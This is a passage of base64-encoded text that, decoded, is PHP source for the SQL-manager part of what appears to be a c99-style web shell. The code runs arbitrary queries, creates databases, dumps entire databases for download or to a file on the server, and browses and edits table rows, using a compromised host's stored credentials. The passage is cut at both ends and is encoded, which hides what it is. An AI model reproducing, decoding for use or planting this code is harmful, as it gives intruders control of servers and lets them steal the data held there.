RfZnVuY3RzKTsKICAgICAkc3FsX3F1ZXJ5ID0gIlVQREFURSBgIi4kc3FsX3RibC4iYCBTRVQgIi4kc2
V0LiIgV0hFUkUgIi4kc3FsX3RibF9pbnNlcnRfcS4iIExJTUlUIDE7IjsKICAgICAkcmVzdWx0ID0gbX
lzcWxfcXVlcnkoJHNxbF9xdWVyeSkgb3IgcHJpbnQobXlzcWxfc21hcnRlcnJvcigpKTsKICAgICAkcm
VzdWx0ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpOwogICAgICRzcWxfYW
N0ID0gInF1ZXJ5IjsKICAgICAkc3FsX3RibF9hY3QgPSAiYnJvd3NlIjsKICAgIH0KICAgfQogICBpZi
AoJHNxbF9hY3QgPT0gInF1ZXJ5IikKICAgewogICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT
4iOwogICAgaWYgKCgkc3VibWl0KSBhbmQgKCEkc3FsX3F1ZXJ5X3Jlc3VsdCkgYW5kICgkc3FsX2Nvbm
Zpcm0pKSB7aWYgKCEkc3FsX3F1ZXJ5X2Vycm9yKSB7JHNxbF9xdWVyeV9lcnJvciA9ICJRdWVyeSB3YX
MgZW1wdHkiO30gZWNobyAiPGI+RXJyb3I6PC9iPiA8YnI+Ii4kc3FsX3F1ZXJ5X2Vycm9yLiI8YnI+Ij
t9CiAgICBpZiAoJHNxbF9xdWVyeV9yZXN1bHQgb3IgKCEkc3FsX2NvbmZpcm0pKSB7JHNxbF9hY3QgPS
Akc3FsX2dvdG87fQogICAgaWYgKCghJHN1Ym1pdCkgb3IgKCRzcWxfYWN0KSkge2VjaG8gIjx0YWJsZS
Bib3JkZXI9XCIwXCIgd2lkdGg9XCIxMDAlXCIgaGVpZ2h0PVwiMVwiPjx0cj48dGQ+PGZvcm0gYWN0aW
9uPVwiIi4kc3FsX3N1cmwuIlwiIG1ldGhvZD1cIlBPU1RcIj48Yj4iOyBpZiAoKCRzcWxfcXVlcnkpIG
FuZCAoISRzdWJtaXQpKSB7ZWNobyAiRG8geW91IHJlYWxseSB3YW50IHRvOiI7fSBlbHNlIHtlY2hvIC
JTUUwtUXVlcnkgOiI7fSBlY2hvICI8L2I+PGJyPjxicj48dGV4dGFyZWEgbmFtZT1cInNxbF9xdWVyeV
wiIGNvbHM9XCIxMDBcIiByb3dzPVwiMTBcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9xdWVyeSkuIj
wvdGV4dGFyZWE+PGJyPjxicj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfYWN0XCIgdm
FsdWU9XCJxdWVyeVwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxcIiB2YWx1ZT
1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbm
FtZT1cInN1Ym1pdFwiIHZhbHVlPVwiMVwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF
9nb3RvXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9nb3RvKS4iXCI+PGlucHV0IHR5cG
U9XCJzdWJtaXRcIiBuYW1lPVwic3FsX2NvbmZpcm1cIiB2YWx1ZT1cIlllc1wiPiZuYnNwOzxpbnB1dC
B0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJOb1wiPjwvZm9ybT48L3RkPjwvdHI+PC90YWJsZT4iO30KIC
AgfQogICBpZiAoaW5fYXJyYXkoJHNxbF9hY3QsJGFjdHMpKQogICB7CiAgICA/Pjx0YWJsZSBib3JkZX
I9IjAiIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEiPjx0cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj
48Yj5DcmVhdGUgbmV3IHRhYmxlOjwvYj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij
48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJzcWwiPjxpbnB1dCB0eXBlPSJoaW
RkZW4iIG5hbWU9InNxbF9hY3QiIHZhbHVlPSJuZXd0YmwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbW
U9InNxbF9kYiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKTsgPz4iPj
xpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbH
NwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF
9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/Pi
I+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaH
RtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPS
JzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/Pi
I+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9uZXd0YmwiIHNpemU9IjIwIj4mbmJzcDs8aW5wdX
QgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ3JlYXRlIj48L2Zvcm0+PC90ZD48dGQgd2lkdGg9IjMwJSIgaG
VpZ2h0PSIxIj48Yj5EdW1wIERCOjwvYj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij
48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJzcWwiPjxpbnB1dCB0eXBlPSJoaW
RkZW4iIG5hbWU9InNxbF9hY3QiIHZhbHVlPSJkdW1wIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPS
JzcWxfZGIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYik7ID8+Ij48aW
5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcG
VjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG
Fzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPj
xpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bW
xzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3
FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPj
xpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkdW1wX2ZpbGUiIHNpemU9IjMwIiB2YWx1ZT0iPD9waHAgZW
NobyAiZHVtcF8iLmdldGVudigiU0VSVkVSX05BTUUiKS4iXyIuJHNxbF9kYi4iXyIuZGF0ZSgiZC1tLV
ktSC1pLXMiKS4iLnNxbCI7ID8+Ij4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPVwic3VibW
l0XCIgdmFsdWU9IkR1bXAiPjwvZm9ybT48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdG
Q+PC90cj48dHI+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48dGQgd2lkdGg9IjMwJSIgaG
VpZ2h0PSIxIj48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PC90cj48L3RhYmxlPj
w/cGhwCiAgICBpZiAoIWVtcHR5KCRzcWxfYWN0KSkge2VjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZG
U+Ijt9CiAgICBpZiAoJHNxbF9hY3QgPT0gIm5ld3RibCIpCiAgICB7CiAgICAgZWNobyAiPGI+IjsKIC
AgICBpZiAoKG15c3FsX2NyZWF0ZV9kYiAoJHNxbF9uZXdkYikpIGFuZCAoIWVtcHR5KCRzcWxfbmV3ZG
IpKSkge2VjaG8gIkRCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpLiJcIiBoYXMgYmVlbi
BjcmVhdGVkIHdpdGggc3VjY2VzcyE8L2I+PGJyPiI7CiAgICB9CiAgICBlbHNlIHtlY2hvICJDYW4ndC
BjcmVhdGUgREIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiLjxicj5SZWFzb246PC
9iPiAiLm15c3FsX3NtYXJ0ZXJyb3IoKTt9CiAgIH0KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAiZHVtcC
IpCiAgIHsKICAgIGlmIChlbXB0eSgkc3VibWl0KSkKICAgIHsKICAgICAkZGlwbGF5ID0gRkFMU0U7Ci
AgICAgZWNobyAiPGZvcm0gbWV0aG9kPVwiR0VUXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPV
wiYWN0XCIgdmFsdWU9XCJzcWxcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfYWN0XC
IgdmFsdWU9XCJkdW1wXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2RiXCIgdmFsdW
U9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbm
FtZT1cInNxbF9sb2dpblwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiJcIj
48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcGFzc3dkXCIgdmFsdWU9XCIiLmh0bWxzcG
VjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcW
xfc2VydmVyXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiJcIj48aW5wdX
QgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcG9ydFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYX
JzKCRzcWxfcG9ydCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxcIiB2YW
x1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxiPlNRTC1EdW1wOjwvYj48YnI+PG
JyPiI7CiAgICAgZWNobyAiPGI+REI6PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XC
JzcWxfZGJcIiB2YWx1ZT1cIiIudXJsZW5jb2RlKCRzcWxfZGIpLiJcIj48YnI+PGJyPiI7CiAgICAgJH
YgPSBqb2luICgiOyIsJGRtcHRibHMpOwogICAgIGVjaG8gIjxiPk9ubHkgdGFibGVzIChleHBsb2RlIF
wiO1wiKSZuYnNwOzxiPjxzdXA+MTwvc3VwPjwvYj46PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dF
wiIG5hbWU9XCJkbXB0YmxzXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiJcIiBzaXplPV
wiIi4oc3RybGVuKCR2KSs1KS4iXCI+PGJyPjxicj4iOwogICAgIGlmICgkZHVtcF9maWxlKSB7JHRtcC
A9ICRkdW1wX2ZpbGU7fQogICAgIGVsc2UgeyR0bXAgPSBodG1sc3BlY2lhbGNoYXJzKCIuL2R1bXBfIi
5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIl8iLiRzcWxfZGIuIl8iLmRhdGUoImQtbS1ZLUgtaS1zIikuIi
5zcWwiKTt9CiAgICAgZWNobyAiPGI+RmlsZTo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbm
FtZT1cInNxbF9kdW1wX2ZpbGVcIiB2YWx1ZT1cIiIuJHRtcC4iXCIgc2l6ZT1cIiIuKHN0cmxlbigkdG
1wKStzdHJsZW4oJHRtcCkgJSAzMCkuIlwiPjxicj48YnI+IjsKICAgICBlY2hvICI8Yj5Eb3dubG9hZD
ogPC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic3FsX2R1bXBfZG93bmxvYW
RcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPjxicj48YnI+IjsKICAgICBlY2hvICI8Yj5TYXZlIHRvIGZpbG
U6IDwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNxbF9kdW1wX3NhdmV0b2
ZpbGVcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPiI7CiAgICAgZWNobyAiPGJyPjxicj48aW5wdXQgdHlwZT
1cInN1Ym1pdFwiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT1cIkR1bXBcIj48YnI+PGJyPjxiPjxzdXA+MT
wvc3VwPjwvYj4gLSBhbGwsIGlmIGVtcHR5IjsKICAgICBlY2hvICI8L2Zvcm0+IjsKICAgIH0KICAgIG
Vsc2UKICAgIHsKICAgICAkZGlwbGF5ID0gVFJVRTsKICAgICAkc2V0ID0gYXJyYXkoKTsKICAgICAkc2
V0WyJzb2NrIl0gPSAkc3FsX3NvY2s7CiAgICAgJHNldFsiZGIiXSA9ICRzcWxfZGI7CiAgICAgJGR1bX
Bfb3V0ID0gImRvd25sb2FkIjsKICAgICAkc2V0WyJwcmludCJdID0gMDsKICAgICAkc2V0WyJubDJici
JdID0gMDsKICAgICAkc2V0WyIiXSA9IDA7CiAgICAgJHNldFsiZmlsZSJdID0gJGR1bXBfZmlsZTsKIC
AgICAkc2V0WyJhZGRfZHJvcCJdID0gVFJVRTsKICAgICAkc2V0WyJvbmx5dGFicyJdID0gYXJyYXkoKT
sKICAgICBpZiAoIWVtcHR5KCRkbXB0YmxzKSkgeyRzZXRbIm9ubHl0YWJzIl0gPSBleHBsb2RlKCI7Ii
wkZG1wdGJscyk7fQogICAgICRyZXQgPSBteXNxbF9kdW1wKCRzZXQpOwogICAgIGlmICgkc3FsX2R1bX
BfZG93bmxvYWQpCiAgICAgewogICAgICBAb2JfY2xlYW4oKTsKICAgICAgaGVhZGVyKCJDb250ZW50LX
R5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOwogICAgICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3
RoOiAiLnN0cmxlbigkcmV0KSk7CiAgICAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YW
NobWVudDsgZmlsZW5hbWU9XCIiLmJhc2VuYW1lKCRzcWxfZHVtcF9maWxlKS4iXCI7Iik7CiAgICAgIG
VjaG8gJHJldDsKICAgICAgZXhpdDsKICAgICB9CiAgICAgZWxzZWlmICgkc3FsX2R1bXBfc2F2ZXRvZm
lsZSkKICAgICB7CiAgICAgICRmcCA9IGZvcGVuKCRzcWxfZHVtcF9maWxlLCJ3Iik7CiAgICAgIGlmIC
ghJGZwKSB7ZWNobyAiPGI+RHVtcCBlcnJvciEgQ2FuJ3Qgd3JpdGUgdG8gXCIiLmh0bWxzcGVjaWFsY2
hhcnMoJHNxbF9kdW1wX2ZpbGUpLiJcIiEiO30KICAgICAgZWxzZQogICAgICB7CiAgICAgICBmd3JpdG
UoJGZwLCRyZXQpOwogICAgICAgZmNsb3NlKCRmcCk7CiAgICAgICBlY2hvICI8Yj5EdW1wZWQhIER1b
XAgaGFzIGJlZW4gd3JpdGVkIHRvIFwiIi5odG1sc3BlY2lhbGNoYXJzKHJlYWxwYXRoKCRzcWxfZHVtc
F9maWxlKSkuIlwiICgiLnZpZXdfc2l6ZShmaWxlc2l6ZSgkc3FsX2R1bXBfZmlsZSkpLiIpPC9iPi4iO
wogICAgICB9CiAgICAgfQogICAgIGVsc2Uge2VjaG8gIjxiPkR1bXA6IG5vdGhpbmcgdG8gZG8hPC9iP
iI7fQogICAgfQogICB9CiAgIGlmICgkZGlwbGF5KQogICB7CiAgICBpZiAoIWVtcHR5KCRzcWxfdGJsK
SkKICAgIHsKICAgICBpZiAoZW1wdHkoJHNxbF90YmxfYWN0KSkgeyRzcWxfdGJsX2FjdCA9ICJicm93c
2UiO30KICAgICAkY291bnQgPSBteXNxbF9xdWVyeSgiU0VMRUNUIENPVU5UKCopIEZST00gYCIuJHNxb
F90YmwuImA7Iik7CiAgICAgJGNvdW50X3JvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRjb3VudCk7CiAgI
CAgbXlzcWxfZnJlZV9yZXN1bHQoJGNvdW50KTsKICAgICAkdGJsX3N0cnVjdF9yZXN1bHQgPSBteXNxb
F9xdWVyeSgiU0hPVyBGSUVMRFMgRlJPTSBgIi4kc3FsX3RibC4iYDsiKTsKICAgICAkdGJsX3N0cnVjd
F9maWVsZHMgPSBhcnJheSgpOwogICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHRib
F9zdHJ1Y3RfcmVzdWx0KSkgeyR0Ymxfc3RydWN0X2ZpZWxkc1tdID0gJHJvdzt9CiAgICAgaWYgKCRzc
WxfbHMgPiAkc3FsX2xlKSB7JHNxbF9sZSA9ICRzcWxfbHMgKyAkcGVycGFnZTt9CiAgICAgaWYgKGVtc
HR5KCRzcWxfdGJsX3BhZ2UpKSB7JHNxbF90YmxfcGFnZSA9IDA7fQogICAgIGlmIChlbXB0eSgkc3FsX
3RibF9scykpIHskc3FsX3RibF9scyA9IDA7fQogICAgIGlmIChlbXB0eSgkc3FsX3RibF9sZSkpIHskc
3FsX3RibF9sZSA9IDMwO30KICAgICAkcGVycGFnZSA9ICRzcWxfdGJsX2xlIC0gJHNxbF90YmxfbHM7C
iAgICAgaWYgKCFpc19udW1lcmljKCRwZXJwYWdlKSkgeyRwZXJwYWdlID0gMTA7fQogICAgICRudW1wY
WdlcyA9ICRjb3VudF9yb3dbMF0vJHBlcnBhZ2U7CiAgICAgJGUgPSBleHBsb2RlKCIgIiwkc3FsX29yZ
GVyKTsKICAgICBpZiAoY291bnQoJGUpID09IDIpCiAgICAgewogICAgICBpZiAoJGVbMF0gPT0gImQiK
SB7JGFzY19kZXNjID0gIkRFU0MiO30KICAgICAgZWxzZSB7JGFzY19kZXNjID0gIkFTQyI7fQogICAgI
CAkdiA9ICJPUkRFUiBCWSBgIi4kZVsxXS4iYCAiLiRhc2NfZGVzYy4iICI7CiAgICAgfQogICAgIGVsc
2UgeyR2ID0gIiI7fQogICAgICRxdWVyeSA9ICJTRUxFQ1QgKiBGUk9NIGAiLiRzcWxfdGJsLiJgICIuJ
HYuIkxJTUlUICIuJHNxbF90YmxfbHMuIiAsICIuJHBlcnBhZ2UuIiI7CiAgICAgJHJlc3VsdCA9IG15c
3FsX3F1ZXJ5KCRxdWVyeSkgb3IgcHJpbnQobXlzcWxfc21hcnRlcnJvcigpKTsKICAgICBlY2hvICI8a
HIgc2l6ZT1cIjFcIiBub3NoYWRlPjxjZW50ZXI+PGI+VGFibGUgIi5odG1sc3BlY2lhbGNoYXJzKCRzc
WxfdGJsKS4iICgiLm15c3FsX251bV9maWVsZHMoJHJlc3VsdCkuIiBjb2xzIGFuZCAiLiRjb3VudF9yb
3dbMF0uIiByb3dzKTwvYj48L2NlbnRlcj4iOwogICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3Vyb
C4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfdGJsX2FjdD1zdHJ1Y3R1cmVcIj5bJ
m5ic3A7PGI+U3RydWN0dXJlPC9iPiZuYnNwO108L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsKICAgICBlY
2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc
3FsX3RibF9hY3Q9YnJvd3NlXCI+WyZuYnNwOzxiPkJyb3dzZTwvYj4mbmJzcDtdPC9hPiZuYnNwOyZuY
nNwOyZuYnNwOyI7CiAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZ
W5jb2RlKCRzcWxfdGJsKS4iJnNxbF9hY3Q9dGJsZHVtcCZ0aGlzdGJsPTFcIj5bJm5ic3A7PGI+RHVtc
DwvYj4mbmJzcDtdPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyI7CiAgICAgZWNobyAiPGEgaHJlZj1cIiIuJ
HNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfYWN0PWluc2Vyd
FwiPlsmbmJzcDs8Yj5JbnNlcnQ8L2I+Jm5ic3A7XTwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOwogICAgI
GlmICgkc3FsX3RibF9hY3QgPT0gInN0cnVjdHVyZSIpIHtlY2hvICI8YnI+PGJyPjxiPkNvbWluZyBzb
29vbiE8L2I+Ijt9CiAgICAgaWYgKCRzcWxfdGJsX2FjdCA9PSAiaW5zZXJ0IikKICAgICB7CiAgICAgI
GlmICghaXNfYXJyYXkoJHNxbF90YmxfaW5zZXJ0KSkgeyRzcWxfdGJsX2luc2VydCA9IGFycmF5KCk7f
QogICAgICBpZiAoIWVtcHR5KCRzcWxfdGJsX2luc2VydF9yYWRpbykpCiAgICAgIHsKCiAgICAgIH0KI
CAgICAgZWxzZQogICAgICB7CiAgICAgICBlY2hvICI8YnI+PGJyPjxiPkluc2VydGluZyByb3cgaW50b
yB0YWJsZTo8L2I+PGJyPiI7CiAgICAgICBpZiAoIWVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkKICAgI
CAgIHsKICAgICAgICAkc3FsX3F1ZXJ5ID0gIlNFTEVDVCAqIEZST00gYCIuJHNxbF90YmwuImAiOwogI
CAgICAgICRzcWxfcXVlcnkgLj0gIiBXSEVSRSIuJHNxbF90YmxfaW5zZXJ0X3E7CiAgICAgICAgJHNxb
F9xdWVyeSAuPSAiIExJTUlUIDE7IjsKICAgICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHNxbF9xd
WVyeSwkc3FsX3NvY2spIG9yIHByaW50KCI8YnI+PGJyPiIubXlzcWxfc21hcnRlcnJvcigpKTsKICAgI
CAgICAkdmFsdWVzID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHJlc3VsdCk7CiAgICAgICAgbXlzcWxfZnJlZ
V9yZXN1bHQoJHJlc3VsdCk7CiAgICAgICB9CiAgICAgICBlbHNlIHskdmFsdWVzID0gYXJyYXkoKTt9C
iAgICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PFRBQkxFIGNlbGxTcGFjaW5nPTAgYm9yZ
GVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjElXCIgYmdDb2xvcj0jMzMzM
zMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkPjxiPkZpZWxkPC9iPjwvd
GQ+PHRkPjxiPlR5cGU8L2I+PC90ZD48dGQ+PGI+RnVuY3Rpb248L2I+PC90ZD48dGQ+PGI+VmFsdWU8L
2I+PC90ZD48L3RyPiI7CiAgICAgICBmb3JlYWNoICgkdGJsX3N0cnVjdF9maWVsZHMgYXMgJGZpZWxkK
QogICAgICAgewogICAgICAgICRuYW1lID0gJGZpZWxkWyJGaWVsZCJdOwogICAgICAgIGlmIChlbXB0e
Sgkc3FsX3RibF9pbnNlcnRfcSkpIHskdiA9ICIiO30KICAgICAgICBlY2hvICI8dHI+PHRkPjxiPiIua
HRtbHNwZWNpYWxjaGFycygkbmFtZSkuIjwvYj48L3RkPjx0ZD4iLiRmaWVsZFsiVHlwZSJdLiI8L3RkP
jx0ZD48c2VsZWN0IG5hbWU9XCJzcWxfdGJsX2luc2VydF9mdW5jdHNbIi5odG1sc3BlY2lhbGNoYXJzK
CRuYW1lKS4iXVwiPjxvcHRpb24gdmFsdWU9XCJcIj48L29wdGlvbj48b3B0aW9uPlBBU1NXT1JEPC9vc
HRpb24+PG9wdGlvbj5NRDU8L29wdGlvbj48b3B0aW9uPkVOQ1JZUFQ8L29wdGlvbj48b3B0aW9uPkFTQ
0lJPC9vcHRpb24+PG9wdGlvbj5DSEFSPC9vcHRpb24+PG9wdGlvbj5SQU5EPC9vcHRpb24+PG9wdGlvb
j5MQVNUX0lOU0VSVF9JRDwvb3B0aW9uPjxvcHRpb24+Q09VTlQ8L29wdGlvbj48b3B0aW9uPkFWRzwvb
3B0aW9uPjxvcHRpb24+U1VNPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIlwiPi0tLS0tLS0tPC9vcHRpb
24+PG9wdGlvbj5TT1VOREVYPC9vcHRpb24+PG9wdGlvbj5MQ0FTRTwvb3B0aW9uPjxvcHRpb24+VUNBU
0U8L29wdGlvbj48b3B0aW9uPk5PVzwvb3B0aW9uPjxvcHRpb24+Q1VSREFURTwvb3B0aW9uPjxvcHRpb
24+Q1VSVElNRTwvb3B0aW9uPjxvcHRpb24+RlJPTV9EQVlTPC9vcHRpb24+PG9wdGlvbj5GUk9NX1VOS
VhUSU1FPC9vcHRpb24+PG9wdGlvbj5QRVJJT0RfQUREPC9vcHRpb24+PG9wdGlvbj5QRVJJT0RfRElGR
jwvb3B0aW9uPjxvcHRpb24+VE9fREFZUzwvb3B0aW9uPjxvcHRpb24+VU5JWF9USU1FU1RBTVA8L29wd
Glvbj48b3B0aW9uPlVTRVI8L29wdGlvbj48b3B0aW9uPldFRUtEQVk8L29wdGlvbj48b3B0aW9uPkNPT
kNBVDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzc
WxfdGJsX2luc2VydFsiLmh0bWxzcGVjaWFsY2hhcnMoJG5hbWUpLiJdXCIgdmFsdWU9XCIiLmh0bWxzc
GVjaWFsY2hhcnMoJHZhbHVlc1skbmFtZV0pLiJcIiBzaXplPTUwPjwvdGQ+PC90cj4iOwogICAgICAgI
CRpKys7CiAgICAgICB9CiAgICAgICBlY2hvICI8L3RhYmxlPjxicj4iOwogICAgICAgZWNobyAiPGluc
HV0IHR5cGU9XCJyYWRpb1wiIG5hbWU9XCJzcWxfdGJsX2luc2VydF9yYWRpb1wiIHZhbHVlPVwiMVwiI
jsgaWYgKGVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkge2VjaG8gIiBjaGVja2VkIjt9IGVjaG8gIj48Y
j5JbnNlcnQgYXMgbmV3IHJvdzwvYj4iOwogICAgICAgaWYgKCFlbXB0eSgkc3FsX3RibF9pbnNlcnRfc
SkpIHtlY2hvICIgb3IgPGlucHV0IHR5cGU9XCJyYWRpb1wiIG5hbWU9XCJzcWxfdGJsX2luc2VydF9yY
WRpb1wiIHZhbHVlPVwiMlwiIGNoZWNrZWQ+PGI+U2F2ZTwvYj4iOyBlY2hvICI8aW5wdXQgdHlwZT1cI
mhpZGRlblwiIG5hbWU9XCJzcWxfdGJsX2luc2VydF9xXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhc
nMoJHNxbF90YmxfaW5zZXJ0X3EpLiJcIj4iO30KICAgICAgIGVjaG8gIjxicj48YnI+PGlucHV0IHR5c
GU9XCJzdWJtaXRcIiB2YWx1ZT1cIkNvbmZpcm1cIj48L2Zvcm0+IjsKICAgICAgfQogICAgIH0KICAgI
CBpZiAoJHNxbF90YmxfYWN0ID09ICJicm93c2UiKQogICAgIHsKICAgICAgJHNxbF90YmxfbHMgPSBhY
nMoJHNxbF90YmxfbHMpOwogICAgICAkc3FsX3RibF9sZSA9IGFicygkc3FsX3RibF9sZSk7CiAgICAgI
GVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsKICAgICAgZWNobyAiPGltZyBzcmM9XCIiLiRzd
XJsLiJhY3Q9aW1nJmltZz1tdWx0aXBhZ2VcIiBoZWlnaHQ9XCIxMlwiIHdpZHRoPVwiMTBcIiBhbHQ9X
CJQYWdlc1wiPiZuYnNwOyI7CiAgICAgICRiID0gMDsKICAgICAgZm9yKCRpPTA7JGk8JG51bXBhZ2VzO
yRpKyspCiAgICAgIHsKICAgICAgIGlmICgoJGkqJHBlcnBhZ2UgIT0gJHNxbF90YmxfbHMpIG9yICgka
SokcGVycGFnZSskcGVycGFnZSAhPSAkc3FsX3RibF9sZSkpIHtlY2hvICI8YSBocmVmPVwiIi4kc3FsX
3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX29yZGVyPSIuaHRtbHNwZWNpY
WxjaGFycygkc3FsX29yZGVyKS4iJnNxbF90YmxfbHM9Ii4oJGkqJHBlcnBhZ2UpLiImc3FsX3RibF9sZ
